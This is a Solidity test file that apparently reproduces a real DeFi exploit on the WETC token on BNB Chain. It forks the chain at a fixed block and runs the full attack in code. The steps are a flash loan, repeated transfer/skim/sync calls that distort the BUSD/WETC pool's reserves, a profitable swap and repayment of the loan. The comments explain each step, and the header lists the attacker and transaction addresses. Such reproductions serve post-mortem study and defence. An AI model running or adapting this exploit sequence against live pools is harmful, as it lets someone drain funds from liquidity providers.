src/test/2025-07/WETC_Token_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 101k USD
8// Attacker : https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe
9// Attack Contract : https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe
10// Vulnerable Contract : https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688
11// Attack Tx : https://bscscan.com/tx/0x2b6b411adf6c452825e48b97857375ff82b9487064b2f3d5bc2ca7a5ed08d615
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688#code
15 
16// @Analysis
17// Post-mortem : https://t.me/evmhacks/78?single
18// Twitter Guy : N/A
19// Hacking God : N/A
20 
21 
22contract WETC is BaseTestWithBalanceLog {
23    uint256 blocknumToForkFrom = 54333337;
24    uint256 borrowAmount = 1000000000000000000000000;
25 
26    address constant busd_wetc_cakeLP = 0x8e2cc521b12dEBA9A20EdeA829c6493410dAD0E3;
27    address constant pancakeV3Pool = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
28    address constant wetc = 0xE7f12B72bfD6E83c237318b89512B418e7f6d7A7;
29    address constant busd = 0x55d398326f99059fF775485246999027B3197955;
30    address constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
31 
32    function setUp() public {
33        vm.createSelectFork("bsc", blocknumToForkFrom);
34        // Change this to the target token to get token balance of, Keep it address(0) if it's ETH
35        fundingToken = address(busd);
36    }
37 
38    function testExploit() public balanceLog {
39        // The exploit begins by taking a large flash loan from a PancakeSwap V3 pool.
40        IPancakeV3Pool(pancakeV3Pool).flash(address(this), borrowAmount, 0, "");
41    }
42 
43    function pancakeV3FlashCallback(uint256 fee0, uint256, bytes memory) public {
44      // The core of the exploit involves manipulating the reserves of the BUSD/WETC PancakeSwap V2 pool.
45      // 1. A small initial swap is performed.
46      IPancakePair(busd_wetc_cakeLP).swap(1000, 6994607918395778704138079, address(this), "0x00");
47 
48      // 2. Large amounts of WETC are directly transferred to the LP pair contract.
49      // The `skim` function is then called. `skim` is designed to collect excess tokens sent to the pair contract.
50      // By sending tokens and then calling skim, the attacker forces the pool's internal reserves out of sync with its actual token balances.
51      IERC20(wetc).transfer(address(busd_wetc_cakeLP), 3533285263192068394666304);
52      IPancakePair(busd_wetc_cakeLP).skim(0xB213171c9a803997B44842d0361e742e1E6691fc);
53      // `sync` is called to update the reserves to the now-inflated token balances, distorting the price.
54      IPancakePair(busd_wetc_cakeLP).sync();
55 
56      // This process is repeated to further manipulate the reserves.
57      IERC20(wetc).transfer(address(busd_wetc_cakeLP), 27354466553745045636126);
58      IPancakePair(busd_wetc_cakeLP).skim(0xB213171c9a803997B44842d0361e742e1E6691fc);
59      IPancakePair(busd_wetc_cakeLP).sync();
60 
61      // 3. Small amounts of BUSD and more WETC are transferred in.
62      IERC20(busd).transfer(address(busd_wetc_cakeLP), 10000);
63      IERC20(wetc).transfer(address(busd_wetc_cakeLP), 3433968188649965263835649);
64      
65      // 4. With the price heavily manipulated, the attacker swaps the remaining assets for a large amount of BUSD.
66      IPancakePair(busd_wetc_cakeLP).swap(351495403570120114936199, 0, address(this), "");
67 
68      // 5. The flash loan is repaid with the required fee. The remaining BUSD is the profit.
69      uint256 repayAmount = borrowAmount + fee0;
70      IERC20(busd).transfer(address(pancakeV3Pool), repayAmount);
71    } 
72 
73    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) public {
74      // This function is called by the PancakeSwap pair during the first swap.
75      // The attacker uses this callback to send the flash-loaned BUSD to the pair to cover the swap input.
76      IERC20(busd).transfer(address(busd_wetc_cakeLP), 250000000000000000002000);
77    }
78}